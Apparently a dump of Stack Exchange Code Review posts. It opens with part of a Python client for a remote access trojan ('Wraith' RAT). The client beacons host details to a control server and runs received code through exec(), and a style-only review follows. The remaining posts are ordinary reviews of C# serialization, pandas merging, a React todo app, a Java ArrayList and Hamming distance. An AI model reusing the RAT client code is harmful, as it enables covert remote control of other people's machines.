# Create a dict for data we need to send
data = {}
data["message_type"] = "heartbeat"
data["data"] = { # Add some data for the server to record
"info": {
"running_as_user": getpass.getuser(),
"available_ram": psutil.virtual_memory().free,
"used_ram": psutil.virtual_memory().used,
"available_disk": shutil.disk_usage("/")[2],
"used_disk": shutil.disk_usage("/")[1],
"local_ip": self.get_ip(),
},
"wraith_id": self.id,
}
# Send the request
response = self.api(data)
# Check the data received back
if type(response) == type({}) and response["status"] == "SUCCESS" and "command_queue" in response.keys():
# If the server did not identify itself correctly, fail
if response["server_id"] != TRUSTED_SERVER: return False
# Append commands to queue
for command in response["command_queue"]:
self.command_queue.append(command)
# If we're told to switch encryption keys, switch
if "switch_key" in response.keys():
self.CRYPT_KEY = response["switch_key"]
return True
else: return False
def putresult(self, status="SUCCESS", result="/No Data/"):
# Create the data we need to send
data = {}
data["message_type"] = "putresults"
data["data"] = {
"cmdstatus": status,
"result": result,
"wraith_id": self.id,
}
# Send the request
response = self.api(data)
# Check the data received back
if isinstance(response, type({})) and response["status"] == "SUCCESS":
# If the server did not identify itself correctly, fail
if response["server_id"] != TRUSTED_SERVER: return False
# If we're told to switch encryption keys, switch
if "switch_key" in response.keys():
self.CRYPT_KEY = response["switch_key"]
return True
else: return False
# Run all of the commands in the command_queue
def run_commands(self):
for cmd in self.command_queue:
try:
# Remove the command from the list
self.command_queue.remove(cmd)
# Define a scope for the exec call so the script_main function can be used later
exec_scope = locals()
# Define a script_main function to prevent errors in case of incorrectly formatted modules
exec_scope["script_main"] = lambda a, b: 0
# This should define the script_main function
exec(cmd[1], globals(), exec_scope)
# Define the script_main function as a thread
script_thread = threading.Thread(target=exec_scope["script_main"], args=(
self,
cmd[0]
))
# Notify the server that we are now executing the command
self.putresult("SUCCESS", "Executing `{}`".format(cmd[0]))
# Execute the command
script_thread.start()
except Exception as e:
# If there was an error, report it to the server
self.putresult("ERROR - {}".format(e), "Error while executing `{}`".format(cmd[0]))
# Indefinitely run `run_commands`
def run_commands_thread(self):
while True: self.run_commands()
# Create an instance of wraith
wraith = Wraith(connect_url, CRYPT_KEY, aes)
# Start sending heartbeats
# It's ok not to login beforehand as heartbeat will fail and the wraith will
# log in when it does
# TODO retry timeout and restart
# TODO robust server error handling
while True:
# If the heartbeat fails for some reason (implicitly execute heartbeat)
if not wraith.heartbeat():
# Switch to default key in case switch_key was applied
wraith.CRYPT_KEY = CRYPT_KEY
# Try login every 10 seconds until it works
while not wraith.login(): time.sleep(10)
# Continue to the next loop (re-send heartbeat)
continue
# Delay sending hearbeats to prevent DDoSing our own server
time.sleep(3.2)
</code></pre>
<p>For those interested, <a href="https://github.com/TR-SLimey/wraith-RAT" rel="nofollow noreferrer">here</a>'s the code for both the server and client. My GitHub repo is ugly too, I know :P</p>
<p>EDIT: I've made some (random) changes and improvements now and the script seems to be a little more efficient. The latest version can still be found on my GitHub repo above.</p>
|
[] |
[
{
"body": "<h1>Comments</h1>\n<p>Out of the 252 lines in your program, 85 of them are comments or contain comments! Comments can be really useful, when used appropriately. But comments like</p>\n<pre><code># Send the request\nresponse = self.api(data)\n...\n# Create an instance of wraith\nwraith = Wraith(connect_url, CRYPT_KEY, aes)\n</code></pre>\n<p>which are explaining something very obvious should be removed. Comments should be used mainly when explaining <em>why</em> you did something, or a complex part of your program (i.e, an algorithm).</p>\n<h1>Inheriting from <code>object</code></h1>\n<p>In python-3.x, you don't need to inherit from object, as all classes are <a href=\"https://stackoverflow.com/a/45062077/8968906\">new-style</a>.</p>\n<h1>Building Dictionaries</h1>\n<p>I'm not really sure why you're building <code>data</code> in steps, when you can initialize all that information in one step. While it may look a little nicer to build in multiple steps, it's unnecessary.</p>\n<h1>Format Strings</h1>\n<p>Instead of appending variables to strings, you can directly include them into the string. I see you've already utilized <code>.format()</code>, but consider <code>f""</code>:</p>\n<pre><code>if INTERACTION_LOGGING: \n print(f"\\n[CLIENT]:\\n{json.dumps(data_dict)}\\n")\n</code></pre>\n<p>Now instead of having a mess appending <code>json.dumps</code> between the <code>\\n</code> characters, you can format them both in one line.</p>\n<h1>Considering Line Length</h1>\n<p>Python's style guide PEP 8 declares that <a href=\"https://www.python.org/dev/peps/pep-0008/#maximum-line-length\" rel=\"nofollow noreferrer\">lines should be no longer than 79 characters.</a> This line:</p>\n<pre><code>prefix=("".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890") for i in range(5)])+"Wr7H")\n</code></pre>\n<p>is a staggering 124 characters! It's also rather hard to read. I would put the long alphabet string into a different variable, like <code>chars</code>, then <code>random.choice(chars)</code>.</p>\n<h1>Operator Spacing</h1>\n<p>There should be a space before and after every operator (<code>+-*\\=</code>) (unless passing default parameters).</p>\n<h1>Indentation</h1>\n<p>Regardless of how many lines are after an <code>if/else/try/except/while</code> etc, you should always indent after that. It's crucial for keeping your code in a readable format.</p>\n<h1>Unnecessary <code>else</code></h1>\n<p>When you're returning a value/boolean in the initial <code>if/try</code>, an <code>else: return ...</code> is not necessary. Take a look:</p>\n<pre><code>if a > b:\n return c\nelse:\n return d\n</code></pre>\n<p>to</p>\n<pre><code>if a > b:\n return c\nreturn d\n</code></pre>\n<p>(Can be simplified more, but doesn't apply to this case)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T18:07:48.767",
"Id": "464276",
"Score": "0",
"body": "Thanks for the tips. As for the last bit (Unnecessary `else`), I just thought it looked cleaner and was more future-proof in case I want to add something at some point later. Any tips on how I could improve the performance of the script though? That's my biggest problem since at the moment, the script is *VERY* CPU intensive."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T23:17:31.640",
"Id": "236816",
"ParentId": "236805",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T19:01:19.103",
"Id": "236805",
"Score": "4",
"Tags": [
"python",
"performance",
"python-3.x",
"client"
],
"Title": "\"Wraith\" client (RAT) performance"
}
|
236805
|
<p>I'm creating a class library to read/write .3di files which are binary files describing 3D models for a video game. This review is for the write/serialization process.</p>
<p>I've mapped the different structures in the .3di file (header, textures, vertices, etc.) to the classes shown below. Each class implements the <code>IBinarySerializable</code> interface and is thus responsible for its own serialization logic. I've omitted many parts of the 3D model here for brevity, but they follow the same pattern.</p>
<p>Clients would use the library by building out a <code>Model</code> object and then calling <code>SaveToFile()</code>.</p>
<pre><code>interface IBinarySerializable
{
byte[] Serialize();
}
public class Model
{
public ModelHeader Header { get; set; }
public List<Texture> Textures { get; set; }
public List<Vertex> Vertices { get; set; }
public void SaveToFile(string filePath)
{
using (FileStream fileStream = new FileStream(filePath, FileMode.Create))
using (BinaryWriter writer = new BinaryWriter(fileStream))
{
writer.Write(Header.Serialize());
writer.Write(Textures.SelectMany(texture => texture.Serialize()).ToArray());
writer.Write(Vertices.SelectMany(vertex => vertex.Serialize()).ToArray());
}
}
}
public class ModelHeader : IBinarySerializable
{
public string Name { get; set; }
public int TextureCount { get; set; }
public byte[] Serialize()
{
using (var buffer = new MemoryStream())
using (var writer = new BinaryWriter(buffer))
{
// Hardcoded values.
writer.Write(Encoding.ASCII.GetBytes("3DI"));
writer.Write((byte)8);
// Header data.
writer.Write(Encoding.ASCII.GetBytes(Name.PadRight(8, '\0')));
writer.Write(TextureCount);
return buffer.ToArray();
}
}
}
public class Texture : IBinarySerializable
{
public string Name { get; set; }
public int Width { get; set; }
public int Height { get; set; }
public byte[] Serialize()
{
using (var buffer = new MemoryStream())
using (var writer = new BinaryWriter(buffer))
{
writer.Write(Encoding.ASCII.GetBytes(Name.PadRight(28, '\0')));
writer.Write(Width);
writer.Write(Height);
return buffer.ToArray();
}
}
}
public class Vertex : IBinarySerializable
{
public short X { get; set; }
public short Y { get; set; }
public short Z { get; set; }
public byte[] Serialize()
{
using (var buffer = new MemoryStream())
using (var writer = new BinaryWriter(buffer))
{
writer.Write(X);
writer.Write(Y);
writer.Write(Z);
return buffer.ToArray();
}
}
}
</code></pre>
<h2>My Concerns</h2>
<ul>
<li>Since the .3di file schema is proprietary, I don't believe I can use the binary serialization that comes with .NET (e.g., <code>BinaryFormatter</code>) since it adds .NET-specific data to the file. Is that correct?</li>
<li>Should each class be responsible for its own serialization logic? I've considered centralizing all of that logic to a dedicated class, e.g., <code>ModelSerializer</code>, <code>ModelFileWriter</code>, etc. One benefit of that approach is that I wouldn't have to map the file structures to classes so literally.</li>
<li>I repeat this in each <code>Serialize()</code> method:
<pre><code>using (var buffer = new MemoryStream())
using (var writer = new BinaryWriter(buffer))
</code></pre>
Should I extract those lines to a helper function and just pass in what I want to do with the <code>writer</code>, e.g., <code>BinaryUtils.Serialize(Action<BinaryWriter> writeAction)</code>?</li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T05:32:31.630",
"Id": "464213",
"Score": "1",
"body": "Please edit your question by inserting the correct code of the `Model` class. Hint: `IBinarySerializable`"
}
] |
[
{
"body": "<p>BinaryFormatter is not adding any extra information. It does not store \"here comes a double\", this must be stored/handled by the reading algorithm.</p>\n\n<p>But to reproduce a certain byte order, you have to overwrite almost every serializing routine. At the end you gain nothing, comparing to your self-implementation. So it's not the extra-information, it's the order of elements, that might cause trouble when using the given BinaryFormatter.</p>\n\n<p>Each class can be responsible for it's own serialization, if you have only one serialization. If you can always modify your own code, the classes and the serialization never go separate ways to separate libraries, then this might be a good way.</p>\n\n<p>A more sophisticated approach would be a Visitor-pattern. This way you can implement multiple Serializers (Visitors), store in different formats, etc.</p>\n\n<p>One way you have everything concerning a class in the class, the other way you have everything concerning one specific file format in one class. This you have to make up with yourself, it depends on how often you plan to modify or extent anything later on.</p>\n\n<p>Serializing is a streaming process. You create only one Stream ( a File or MemoryStream), don't use one per item, and assemble it later on. You create one Formatter/Writer, and pass this to each item. Each item is storing it's stuff into the output stream. So an item with one property to store, should have one line of code in it's Serializer method.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T10:22:12.220",
"Id": "236833",
"ParentId": "236812",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236833",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T22:21:24.430",
"Id": "236812",
"Score": "1",
"Tags": [
"c#",
".net",
"file",
"serialization",
"binary"
],
"Title": "Serializing object graph to proprietary binary file"
}
|
236812
|
<p>I am trying to merge multiple pandas data-frames that I read from a file.
Here is the function I wrote:</p>
<pre><code>def merge_files(args):
list_df = {}
with args.input as data_in:
for line in data_in:
line = line.strip()
df = pd.read_csv(line, sep="\s+")
df.drop_duplicates(inplace = True)
# change second column name (from the file)
df.columns = ["sample", line.split("/")[-4]]
list_df[line.split("/")[-4]] = df
# Merging all the files into one and fill the missing ratio values with 0
df_merged = reduce(lambda left,right: pd.merge(left,right,on=['sample'], how='outer'), list(list_df.values())).fillna(0)
df_merged.to_csv(args.output, sep='\t', encoding='utf-8', index=False)
</code></pre>
<p>But this approach consumes too much memory, Is there a better solution?</p>
<p><strong>Update</strong> </p>
<ul>
<li>The function is called in a script and given args contains input file
(contain locations of the csv files one per line) and output file.</li>
<li><p>The input file contains locations of 20 files each is ~2M in size and
contains ~59133 lines.</p></li>
<li><p>Using Python 3, Pandas version '0.25.2'</p></li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T23:16:24.380",
"Id": "464198",
"Score": "1",
"body": "Please If you will downvote the question mention the reason, so I can learn something."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T23:20:05.533",
"Id": "464199",
"Score": "2",
"body": "You're receiving downvotes/close votes because you haven't provided enough information to warrant this question as on topic. How is this function used? How big is the file you're reading in? What version of python are you using? You should try to provide as much information about your code as possible."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T23:22:59.327",
"Id": "464200",
"Score": "0",
"body": "Thank you, now at least I can put this data."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:24:59.403",
"Id": "464383",
"Score": "0",
"body": "_20 files each is ~2M in size_ Do you mean 20 MB? _But this approach consumes too much memory_ How much is _too much_ ? What is the line `df.columns = [\"sample\", line.split(\"/\")[-4]]` for? What about `list_df[line.split(\"/\")[-4]] = df`? You're repeating the same operation twice in two lines. Can you share what the files look like?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T23:56:02.780",
"Id": "464498",
"Score": "0",
"body": "I mean 2 MB and the ` [\"sample\", line.split(\"/\")[-4]]` to identify the sample name from the directory path."
}
] |
[
{
"body": "<p>The issue was resolved, there was a duplication in keys in more than two DF, which was leading to memory usage increase.\nThanks.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T23:57:38.573",
"Id": "236954",
"ParentId": "236815",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236954",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T23:09:25.340",
"Id": "236815",
"Score": "1",
"Tags": [
"python",
"pandas",
"mergesort"
],
"Title": "Memory efficient way to merge multiple Pandas DataFrames"
}
|
236815
|
<p>I am learning React and wanted to implement a todo app using function components. Any suggestions and criticism is welcome, especially regarding best practices.</p>
<pre><code>import React, {useState} from 'react';
class Todo {
constructor(id, description, complete) {
this.id = id;
this.description = description;
this.complete = complete;
}
}
export default () => {
const [idCounter, setIdCounter] = useState(1);
const [todoList, setTodoList] = useState([]);
const [todoDescription, setTodoDescription] = useState('');
function addTodo() {
setTodoList(
[...todoList, new Todo(idCounter, todoDescription, false)]
);
setIdCounter(idCounter + 1);
setTodoDescription('');
}
function markTodoItemComplete(id) {
const todoListClone = todoList.slice();
todoListClone[id - 1].complete = true;
setTodoList(todoListClone);
}
return <>
{todoList.map((todoItem) => {
return (
<React.Fragment key={todoItem.id}>
<span>{todoItem.id} - {todoItem.description} - {todoItem.complete ? 'Completed' : 'Waiting'}</span>
<button
onClick={() => markTodoItemComplete(todoItem.id)}
disabled={todoItem.complete}>
Mark as complete
</button>
<br/>
</React.Fragment>
);
})}
<br/>
<input
onChange={e => setTodoDescription(e.target.value)}
value={todoDescription}
/>
<br/>
<button
disabled={!todoDescription}
onClick={addTodo}>Add Todo
</button>
</>
}
</code></pre>
<p><a href="https://i.stack.imgur.com/kLTWx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/kLTWx.png" alt="enter image description here"></a></p>
|
[] |
[
{
"body": "<pre><code> function markTodoItemComplete(id) {\n const todoListClone = todoList.slice();\n todoListClone[id - 1].complete = true;\n setTodoList(todoListClone);\n }\n</code></pre>\n\n<p>This seems me not good practice, what you could have done is just getting id(key) of array and just set it to true.\nlike</p>\n\n<pre><code> function markTodoItemComplete(id) {\n todoListClone[id].complete = true;\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T08:26:12.203",
"Id": "465027",
"Score": "0",
"body": "I strongly support not to clone here. Please motivate changing the index expression."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T08:55:26.647",
"Id": "465043",
"Score": "0",
"body": "is cloning here a crime @greybeard??"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T09:09:17.267",
"Id": "465052",
"Score": "0",
"body": "(Cloning in itself is not a crime. It can be a useful tool and prevent unwanted consequences. It can introduce unwanted consequences, starting with unwarranted processing effort. Why do you ask? I was under the impression that we agree cloning in `markTodoItemComplete()` is not a good idea. I have second thought noticing that in your second code block you kept the (undeclared/undefined) name `todoListClone`.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-20T14:54:26.810",
"Id": "466039",
"Score": "0",
"body": "`todoListClone[id].complete = true;` will not update the view."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T07:20:08.347",
"Id": "237210",
"ParentId": "236819",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "237210",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T00:23:55.533",
"Id": "236819",
"Score": "3",
"Tags": [
"javascript",
"react.js",
"to-do-list"
],
"Title": "A todo application in React using hooks"
}
|
236819
|
<p>I am using JDK 12 and I have developed the custom array list in java with a basic understanding Please let me know if there are any flaws in it that I can correct the same</p>
<p>First the POJO class</p>
<pre><code>public class Employee {
private String id;
private String name;
public Employee(String id, String name) {
this.id = id;
this.name = name;
}
@Override
public String toString() {
return "Employee[id=" + id + ", name=" + name + "] ";
}
}
</code></pre>
<p>Then come the main logic class of ArrayList, which is the heart </p>
<pre><code>class CustomArrayList<E> {
private static final int INITIAL_CAPACITY = 10;
private Object[] elementData;
private int size = 0;
public customArrayList() {
elementData = new Object[INITIAL_CAPACITY];
}
private void ensureCapacity() {
int newIncreasedCapacity = elementData.length * 2;
elementData = Arrays.copyOf(elementData, newIncreasedCapacity);
}
public void add(E e) {
if (size == elementData.length) {
ensureCapacity();
}
elementData[size++] = e;
}
@SuppressWarnings("unchecked")
public E get(int index) {
if (index < 0 || index >= size) {
throw new IndexOutOfBoundsException("Index: " + index + ", Size " + index);
}
return (E) elementData[index];
}
public Object remove(int index) {
if (index < 0 || index >= size) {
throw new IndexOutOfBoundsException("Index: " + index + ", Size " + index);
}
Object removedElement = elementData[index];
for (int i = index; i < size - 1; i++) {
elementData[i] = elementData[i + 1];
}
size--; //reduce size of ArrayListCustom after removal of element.
return removedElement;
}
/**
* method displays all the elements in list.
*/
public void display() {
System.out.print("Displaying list : ");
for (int i = 0; i < size; i++) {
System.out.print(elementData[i] + " ");
}
}
}
</code></pre>
<p>and finally, the test class to test the custom implementation of the ArrayList </p>
<pre><code>public class ArrayListTest {
public static void main(String... a) {
CustomArrayList<Employee> list = new CustomArrayList<>();
list.add(new Employee("1", "saral"));
list.add(new Employee("2", "amit"));
list.add(new Employee("3", "dinesh"));
list.add(null);
list.display();
System.out.printf("\n element at index %d = %s%n", 1, list.get(1));
System.out.printf("element removed from index %d = %s%n", 1, list.remove(1));
System.out.println("\n" +
"let's display list again after removal at index 1");
list.display();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T06:50:57.383",
"Id": "464221",
"Score": "5",
"body": "You didn't post your original, working code. I know this since the \"constructor\" name is `customArrayList` with a lowercase `c`. The constructor always has the same name as the class. The `C` must be uppercase, otherwise the code does not compile."
}
] |
[
{
"body": "<p>The Custom implementation is good.</p>\n\n<p>Improvement/Suggestions-</p>\n\n<ol>\n<li><p>Integer Overflow is not handled for the size</p>\n\n<pre><code>private static final int HUGE_CAPACITY = Integer.MAX_VALUE - 3;\n\nprivate void ensureCapacity() {\n // Here newIncreasedCapacity can be negative value\n int newIncreasedCapacity = elementData.length > 0 ? elementData.length * 2 : INITIAL_CAPACITY;\n // Handles the capacity never goes out of bounds\n if(newIncreasedCapacity < 0) {\n newIncreasedCapacity = HUGE_CAPACITY;\n\n // To handle overflows with the index\n if(size == HUGE_CAPACITY) {\n // throw the exception - or replace the last element\n }\n }\n // Copy the elements\n elementData = Arrays.copyOf(elementData, newIncreasedCapacity);\n}\n</code></pre></li>\n<li><p>Duplicate code for check range in get/remove function</p>\n\n<pre><code>private boolean checkCapacity() {\n if (index < 0 || index >= size) {\n throw new IndexOutOfBoundsException(\"Index: \" + index + \", Size \" + \n index);\n\n }\n}\n</code></pre></li>\n<li><p>Even if no element is inserted, a first initialization will hold memory</p>\n\n<pre><code>private static final Object[] DEFAULT_EMPTY_ELEMENT_STORE = {};\n// New data store initialized with EMPTY store i.e. DEFAULT_EMPTY_ELEMENT_STORE\npublic SimpleArrayList() {\n super();\n elementData = DEFAULT_EMPTY_ELEMENT_STORE;\n}\n</code></pre></li>\n<li><p>Optimized remove method</p>\n\n<blockquote>\n<pre><code>for (int i = index; i < size - 1; i++) {\n elementData[i] = elementData[i + 1];\n}\nsize--; //reduce size of ArrayListCustom after removal of element.\n</code></pre>\n</blockquote>\n\n<p>to be replaced with</p>\n\n<pre><code>int copyLength = size - index - 1;\nif (copyLength > 0) {\n System.arraycopy(elementData, index + 1, elementData, index, copyLength);\n}\nelementData[--size] = null;\n</code></pre></li>\n</ol>\n\n<p>For more details and ideas, you may also refer to <a href=\"https://github.com/Jatish-Khanna/javaapi/blob/master/SimpleArrayList.java\" rel=\"nofollow noreferrer\">SimpleArrayList</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T06:28:16.640",
"Id": "464217",
"Score": "0",
"body": "Welcome to CodeReview@SE. A block quote (markdown: `> quoted contents` commonly is used for longer quoted parts (attributions welcome). You can often see observations and advice about a single issue with the code from the question as one item in a list - markdown: ` - Integer Overflow…`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T06:36:49.137",
"Id": "464219",
"Score": "0",
"body": "thanks I have updated the format as suggested"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-10T04:40:41.837",
"Id": "464505",
"Score": "0",
"body": "@greybeard nice catch, I have fixed it."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T04:44:44.473",
"Id": "236824",
"ParentId": "236822",
"Score": "1"
}
},
{
"body": "<h1>Dangling Reference</h1>\n\n<p>If you add 10 elements into the array, and then you remove the last item, the array capacity will be 10, the array size will be 9, and the last element, <code>self.elementData[9]</code> will still point to the item that was removed. This means the item can never be garbage collected.</p>\n\n<p>Fix: When you remove an element from the array, you should <code>null</code> the last element.</p>\n\n<pre><code>size--;\nelementData[size] = null; // Ensure no dangling references\nreturn removedElement;\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T05:12:15.570",
"Id": "236828",
"ParentId": "236822",
"Score": "5"
}
},
{
"body": "<p>The <code>CustomArrayList</code> API is inconsistent because I can declare a list of type <code>E</code> to add elements of type <code>E</code>, but when I remove an element from it, I get an <code>Object</code> element:</p>\n\n<blockquote>\n<pre><code>public Object remove(int index) { /* ... */ }\n</code></pre>\n</blockquote>\n\n<hr>\n\n<p>Inside <code>CustomArrayList</code> you work with <code>Object[] elementData</code>. From the book <em>Effective Java; Item 26</em> you could change your code to:</p>\n\n<pre><code>class CustomArrayList<E> {\n\n private E[] elementData;\n /* ... */\n\n public CustomArrayList() {\n elementData = (E[]) new Object[INITIAL_CAPACITY];\n }\n\n /* ... */\n\n}\n</code></pre>\n\n<hr>\n\n<p>Inside <code>remove</code> you modify <code>elementData</code> in an imperative way. You could use <a href=\"https://docs.oracle.com/javase/7/docs/api/java/lang/System.html#arraycopy(java.lang.Object,%20int,%20java.lang.Object,%20int,%20int)\" rel=\"noreferrer\"><code>System.arraycopy</code></a> which would be more deklarative.</p>\n\n<blockquote>\n<pre><code>public Object remove(int index) {\n /* ... */\n Object removedElement = elementData[index];\n for (int i = index; i < size - 1; i++) {\n elementData[i] = elementData[i + 1];\n }\n /* ... */\n}\n</code></pre>\n</blockquote>\n\n<pre><code>public E remove(int index) {\n /* ... */\n\n if (size - 1 - index >= 0)\n System.arraycopy(elementData, index + 1, elementData, index, size - 1 - index);\n\n /* ... */\n}\n</code></pre>\n\n<hr>\n\n<p>The methods <code>get</code> and <code>remove</code> contain a code duplication:</p>\n\n<blockquote>\n<pre><code>public E get(int index) {\n if (index < 0 || index >= size) {\n throw new IndexOutOfBoundsException(\"Index: \" + index + \", Size \" + index);\n }\n return (E) elementData[index];\n}\n\npublic Object remove(int index) {\n if (index < 0 || index >= size) {\n throw new IndexOutOfBoundsException(\"Index: \" + index + \", Size \" + index);\n }\n\n Object removedElement = elementData[index];\n\n /* ... */\n\n return removedElement;\n}\n</code></pre>\n</blockquote>\n\n<p>It is possible to invoke <code>get</code> inside <code>remove</code> like:</p>\n\n<pre><code>public E remove(int index) {\n E elementToRemove = get(index);\n\n if (size - 1 - index >= 0)\n System.arraycopy(elementData, index + 1, elementData, index, size - 1 - index);\n\n size--;\n\n return elementToRemove;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T07:33:30.637",
"Id": "464320",
"Score": "0",
"body": "Calling get from remove creates a possibility where the get method is overridden by a subclass and the overriding implementation breaks the remove method. Thus the get method should be final or the shared functionality should be refactored into a private method."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T07:16:54.857",
"Id": "236829",
"ParentId": "236822",
"Score": "6"
}
},
{
"body": "<p><strong>Employee</strong></p>\n\n<p>If you're not going to change the fields for <code>Employee</code>, then they should be final. As it stands, there doesn't seem to be anyway to access the values...</p>\n\n<p><strong>List interface</strong></p>\n\n<p>Your list implementation doesn't really make sense to me. I think part of that is because you've implemented your <code>display</code> method as part of the list. This really doesn't belong there, writing to the console has nothing to do with storing/retrieving elements from a collection. More than that, by putting the method within the class itself, you've deprived yourself of an opportunity to test out using your class in the real world.</p>\n\n<p>Iterating through the items in a list is one of it's core functionalities. You should be able to trivially write this function outside of your class. At the moment this would be harder than necessary, because you don't expose the <code>size</code> property. So you essentially iterate until the <code>get</code> throws an exception. You have a very similar experience if you want to remove an item from the list (unless you happen to know the index because you've hard coded the elements). It can be done, but it feels quite messy.</p>\n\n<p><strong>ensureCapacity</strong></p>\n\n<p>I was expecting this to perform the 'is the collection big enough, if not resize it' check. It only performs the resizing, instead the check is performed in the add method. This seems wrong to me. I'd consider either renaming the method to indicate that it's actually growing the collection, or putting the checking into the method so that it's name more accurately reflects what it does.</p>\n\n<p><strong>Testing</strong></p>\n\n<p>Rather than writing a test harness that outputs to the console, consider writing actual unit tests. Most IDE's have built in JUnit integration and the process of writing tests to validate your collection really help you to understand how usable your API is from the outside.</p>\n\n<p><strong>The whole wheel</strong></p>\n\n<p>Do you really want to re-invent the whole wheel? A lot of the legwork for figuring out usable interfaces for collections has already been done. If you implement the <code>Collection<E></code> interface, then it would mean your class both conforms to developer expectations and also allow you to make use of other built in features when using your collection, such as <code>stream</code>ing.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:10:28.863",
"Id": "464379",
"Score": "0",
"body": "*Do you really want to re-invent the whole wheel?* Starting with an `abstract class` and wrapping up using `extends java.util.AbstractList` lets you neglect whatever parts you choose."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T09:50:51.850",
"Id": "236832",
"ParentId": "236822",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T03:26:10.860",
"Id": "236822",
"Score": "5",
"Tags": [
"java",
"reinventing-the-wheel",
"collections"
],
"Title": "Reviewing custom array List class of java"
}
|
236822
|
<p>How can I make this code snippet better? Those <code>for</code> loops in <code>if</code> don't please me but they are covered with code lines that is dependent to <code>if</code> before and after.</p>
<pre><code>public int hammingDistance(int x, int y) {
String binx = Integer.toBinaryString(x);
String biny = Integer.toBinaryString(y);
int dif = 0;
StringBuilder sb = new StringBuilder();
if (binx.length() > biny.length()) {
dif = binx.length() - biny.length();
for (int i = 0; i < dif; i++) {
sb.append(0);
}
biny = sb.toString().concat(biny);
} else if (biny.length() > binx.length()) {
dif = biny.length() - binx.length();
for (int i = 0; i < dif; i++) {
sb.append(0);
}
binx = sb.toString().concat(binx);
}
int dist = 0;
for (int i = 0; i < binx.length(); i++) {
if (binx.charAt(i) != biny.charAt(i)) {
dist++;
}
}
return dist;
}
</code></pre>
|
[] |
[
{
"body": "<p>You're missing a big simplification. The hamming distance is the count of ones in <code>x^y</code>, so simply perform that xor and count the set bits. There should be no need to convert to string.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T14:26:18.317",
"Id": "464254",
"Score": "0",
"body": "Good answer but for OP this is probably kicking the can down the road: how do you count the set bits? (OK, Java has a builtin method for that … but still.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T14:48:33.077",
"Id": "464256",
"Score": "0",
"body": "Yes, there are various [methods to count the set bits](https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetNaive). Which one to choose may well depend on the application domain."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-27T22:03:34.617",
"Id": "466908",
"Score": "0",
"body": "Yeah, but just using `Integer.bitCount(x ^ y)` is probably more readable. Not stringifying the key is probably be biggest lesson to learn though."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T12:28:21.793",
"Id": "236838",
"ParentId": "236834",
"Score": "5"
}
},
{
